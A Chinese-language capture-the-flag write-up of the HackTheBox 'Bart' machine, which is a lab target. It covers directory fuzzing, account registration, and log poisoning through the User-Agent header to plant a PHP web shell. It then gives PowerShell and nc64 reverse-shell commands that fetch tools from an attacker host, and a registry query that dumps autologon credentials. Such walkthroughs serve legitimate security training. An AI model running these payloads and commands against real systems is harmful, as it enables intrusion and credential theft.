HackTheBox >_ Bart_81
Bart_81
80
正常扫目录会扫出大量无用目录
这时可以使用wfuzz。因为他包含许多过滤规则
观察可发现无用的目录都是chars=158607 ch,其他数据都是一样。是无用的目录。
使用过滤的wfuzz语句
$ wfuzz --hh=158607 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt http://10.10.10.81/FUZZ
同样可以使用的语句还有很多
详尽例子
https://www.freebuf.com/column/163553.html 史上最详[ZI]细[DUO]的wfuzz中文教程
在网页的源码里可以发现 harvey potter是网站的开发者,并且他还没有完成网页。
如果没发现的话,其实也可以cwel组字典。暴力进攻
无论如何
harvey:potter
的凭证可以直接登录http://10.10.10.81/monitor/
点击其他功能会不能正常显示页面
可以看到上面出现域名。所以加入hosts
正常访问
servers中发现一个新的域名。加入hosts TAB分隔即可
新登录窗口
使用harvey:potter
凭证,被告知密码至少有8位。
找线索google搜索这个php
指向github
https://github.com/magkopian/php-ajax-simple-chat
在github源码里看到有注册的页面。靶机不能浏览。
通过抓包改包将内容post过去到注册页面,register.php
注册新账户
使用新注册的用户登陆,得到新的聊天页面
查看源码发现一个新的链接。
http://internal-01.bart.htb/log/log.php
带的参数就很有意思,filename=log.txt
直接浏览这个log,会发现这个log.php的作用是返回我们的user-agent
,将它保存在log.txt中
也就是说,如果我们修改我们的user-agent
,发包到这个php我们就可以记录任何东西到log.txt,但是txt我们无法利用,我们可以尝试把它到后缀改为php,在服务区上生成log.php,然后存入我们修改的user-agent
,这样就可以被我们轻松利用
发包测试
通过使用burp更改user-agent
,我们可以将所需的内容添加到指定的文件中。就可以实现完整的RCE:
按照源码手动制作一个包,但是我们修改包的内容,使他不在生成log.txt
,而是log.php
。同时在user-agent
写入我们需要的
cmd-shell参数,如下
GET /log/log.php?filename=log.php&username=harvey
User-Agent: <?php echo(exec($_GET['cmd']));?>
测试
增加cmd=ipconfig
参数
成功。
现在尝试powercat 得到shell,注意把这个cmd命令给到burp suite之后一定要选中cmd=后面的命令然后使用快捷键ctrl+U进行url修饰。
否则无法执行成功!!!!!!
cmd=powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.41:8080/powercat.ps1');powercat -c 10.10.14.41 -p 4444 -e cmd"
在监听端口得到shell,但是很多操作都做不了
检查
powershell "[Environment]::Is64BitProcess"
说明不在64位运行的,则无法执行一些需要的操作,例如:不可以转储存储在注册表中用于自动登录的默认凭据
换个64位的nc
https://github.com/int0x33/nc.exe/blob/master/nc64.exe
传输到靶机
C:\inetpub\wwwroot\internal-01\log>powershell "wget http://10.10.14.41:8080/nc64.exe -OutFile nc64.exe"
C:\inetpub\wwwroot\internal-01\log>nc64.exe -e cmd 10.10.14.41 4443
nc64.exe -e cmd 10.10.14.41 4443
重新在新的监听端口得到64位的shell
转储默认凭据
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
DefaultDomainName REG_SZ DESKTOP-7I3S68E
DefaultUserName REG_SZ Administrator
DefaultPassword REG_SZ 3130438f31186fbaf962f407711faddb
进入powershell并使用默认凭据利用net use 命令建立共享,参考 https://www.cnblogs.com/mamiyiya777/p/11017875.html
C:\inetpub\wwwroot\internal-01\log>powershell
powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\inetpub\wwwroot\internal-01\log> net use x: \\localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb
net use x: \\localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb
得到user
root也同时得到